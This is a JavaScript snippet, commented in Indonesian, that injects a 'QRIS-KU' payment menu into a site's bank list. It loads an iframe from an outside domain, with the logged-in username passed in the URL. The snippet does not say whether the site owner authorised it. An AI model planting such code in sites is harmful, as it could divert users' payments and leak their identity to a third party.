document.addEventListener("DOMContentLoaded", function() { // 1. Ambil username const getUsername = () => { const userElement = document.querySelector('#current-user a.dropdown-toggle.options'); if(userElement) { const rawText = userElement.textContent.replace(/\s+/g, ' ').trim(); return rawText.split(/\s+/).find(part => !part.match(/^(IDR|Rp|[\d,\.]+|<|>)/i) ); } return 'guest'; }; // 2. Buat iframe langsung di DOM const iframe = document.createElement('iframe'); iframe.id = 'qrisFrame'; iframe.src = 'https://pastilancar.am.in/lombkpc.php'; iframe.width = '600'; iframe.height = '600'; iframe.scrolling = 'yes'; iframe.className = 'qris-iframe'; iframe.style.cssText = ` display: none; position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); z-index: 9999; border: 2px solid #ccc; border-radius: 10px; `; document.body.appendChild(iframe); // 3. Fungsi toggle sederhana const toggleQris = () => { const username = getUsername(); if(iframe.style.display === 'none') { iframe.src = `https://pastilancar.am.in/lombkpc.php?username=${encodeURIComponent(username)}`; iframe.style.display = 'block'; } else { iframe.style.display = 'none'; } }; // 4. Tambahkan menu QRIS const addQrisMenu = () => { if(document.getElementById('mop2')) return; const li = document.createElement('li'); li.id = 'mop2'; li.className = 'p-4 py-6 cursor-pointer hover:bg-white'; li.innerHTML = `

QRIS-KU

`; li.onclick = toggleQris; const bankCategory = document.getElementById('bankCategory'); if(bankCategory) bankCategory.appendChild(li); }; // 5. Auto check setiap 1 detik setInterval(addQrisMenu, 1000); addQrisMenu(); });